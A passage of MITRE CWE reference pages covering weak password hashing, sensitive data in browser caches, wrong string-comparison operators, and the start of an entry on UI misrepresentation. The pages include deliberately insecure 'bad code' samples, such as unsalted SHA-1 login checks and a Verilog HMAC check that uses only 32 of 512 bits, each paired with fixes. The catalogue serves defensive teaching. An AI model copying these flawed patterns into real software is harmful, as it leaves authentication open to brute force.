Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.326Inadequate Encryption Strength
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language:
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

Example 2

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product used weak hashes.

Example 3

The example code below is taken from the JTAG access control mechanism of the Hack@DAC'21 buggy OpenPiton SoC [REF-1360]. Access to JTAG allows users to access sensitive information in the system. Hence, access to JTAG is controlled using cryptographic authentication of the users. In this example (see the vulnerable code source), the password checker uses HMAC-SHA256 for authentication. It takes a 512-bit secret message from the user, hashes it using HMAC, and compares its output with the expected output to determine the authenticity of the user.

(bad code)
Example Language: Verilog 
...
logic [31:0] data_d, data_q
logic [512-1:0] pass_data;
...
Write: begin
...
if (pass_mode) begin
pass_data = { {60{8'h00}}, data_d};
state_d = PassChk;
pass_mode = 1'b0;
...
end
...

The vulnerable code shows an incorrect implementation of the HMAC authentication where it only uses the least significant 32 bits of the secret message for the authentication (the remaining 480 bits are hard coded as zeros). As a result, the system is susceptible to brute-force attacks where the attacker only needs to determine 32 bits of the secret message instead of 512 bits, weakening the cryptographic protocol.

To mitigate, remove the zero padding and use all 512 bits of the secret message for HMAC authentication [REF-1361].

(good code)
Example Language: Verilog 
...
logic [512-1:0] data_d, data_q
logic [512-1:0] pass_data;
...
Write: begin
...
if (pass_mode) begin
pass_data = data_d;
state_d = PassChk;
pass_mode = 1'b0;
...
end
...
+ Observed Examples
ReferenceDescription
Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.
SHA-1 algorithm is not collision-resistant.
DNS product uses a weak hash (CRC32 or SHA-1) of the query name, allowing attacker to forge responses by computing domain names with the same hash.
blogging product uses MD5-based algorithm for passwords.
forging of certificate signatures using SHA-1 collisions.
mobile app for backup sends SHA-1 hash of password in cleartext.
Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.
+ Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness: High

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Since CWE 4.4, various cryptography-related entries including CWE-328 have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERReversible One-Way Hash
+ References
[REF-289] Alexander Sotirov et al.. "MD5 considered harmful today". <http://www.phreedom.org/research/rogue-ca/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Integrity", Page 47. 1st Edition. Addison Wesley. 2006.
[REF-291] Johnny Shelley. "bcrypt". <http://bcrypt.sourceforge.net/>.
[REF-292] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". <http://www.tarsnap.com/scrypt.html>.
[REF-293] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. <https://www.rfc-editor.org/rfc/rfc2898>. URL validated: 2023-04-07.
[REF-294] Coda Hale. "How To Safely Store A Password". 2010-01-31. <https://codahale.com/how-to-safely-store-a-password/>. URL validated: 2023-04-07.
[REF-295] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/>. URL validated: 2023-04-07.
[REF-296] Solar Designer. "Password security: past, present, future". 2012. <https://www.openwall.com/presentations/PHDays2012-Password-Security/>. URL validated: 2023-04-07.
[REF-297] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. <https://www.troyhunt.com/our-password-hashing-has-no-clothes/>. URL validated: 2023-04-07.
[REF-298] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/>. URL validated: 2023-04-07.
[REF-637] "Rainbow table". Wikipedia. 2009-03-03. <https://en.wikipedia.org/wiki/Rainbow_table>. URL validated: 2023-04-07.
[REF-1243] Bruce Schneier. "Cryptanalysis of SHA-1". 2005-02-18. <https://www.schneier.com/blog/archives/2005/02/cryptanalysis_o.html>. URL validated: 2021-10-25.
[REF-1244] Dan Goodin. "At death's door for years, widely used SHA1 function is now dead". Ars Technica. 2017-02-23. <https://arstechnica.com/information-technology/2017/02/at-deaths-door-for-years-widely-used-sha1-function-is-now-dead/>. URL validated: 2021-10-25.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-01-12CWE Content TeamMITRE
updated Description, References
2009-10-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, Observed_Examples, References, Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Description, References
+ Previous Entry Names
Change DatePrevious Entry Name
2021-10-28Reversible One-Way Hash

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID: 525
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.524Use of Cache Containing Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.
+ Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phases: Architecture and Design; Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Browser Caching
2020-02-24Information Exposure Through Browser Caching

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID: 597
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
+ Extended Description
In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.480Use of Incorrect Operator
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.595Comparison of Object References Instead of Object Contents
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.595Comparison of Object References Instead of Object Contents
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

(bad code)
Example Language: Java 
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
System.out.println("str1 == str2");
}

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

(good code)
 
if (str1.equals(str2)) {
System.out.println("str1 equals str2");
}

Example 2

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

(bad code)
Example Language: JavaScript 
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>

var i = 65;
var s1 = '65';
var s4 = new String('65');

if (i === s1)
{
document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}

if (s4 === i)
{
document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}

if (s4 === s1)
{
document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

(good code)
Example Language: JavaScript 
<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>

var i = 65;
var s1 = '65';
var s4 = new String('65');

if (i == s1)
{
document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}

if (s4 == i)
{
document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}

if (s4 == s1)
{
document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}

Example 3

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

(bad code)
Example Language: PHP 
var $i = 65;
var $s1 = "65";

if ($i === $s1)
{
echo '($i === $s1) is TRUE'. "\n";
}
else
{
echo '($i === $s1) is FALSE'. "\n";
}

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

(good code)
Example Language: PHP 
var $i = 65;
var $s1 = "65";

if ($i == $s1)
{
echo '($i == $s1) is TRUE'. "\n";
}
else
{
echo '($i == $s1) is FALSE'. "\n";
}
+ Potential Mitigations

Phase: Implementation

Within Java, use .equals() to compare string values.

Within JavaScript, use == to compare string values.

Within PHP, use == to compare a numeric value to a string value. (PHP converts the string to a number.)

Effectiveness: High

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.847The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1136SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)EXP03-JDo not use the equality operators when comparing values of boxed primitives
The CERT Oracle Secure Coding Standard for Java (2011)EXP03-JDo not use the equality operators when comparing values of boxed primitives
SEI CERT Perl Coding StandardEXP35-PLCWE More SpecificUse the correct operator type for comparing values
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Erroneous String Compare

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID: 451
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
+ Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

  • Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the product or the environment the product is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
  • Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
  • Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
  • Timing: the product is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
  • Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
  • Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
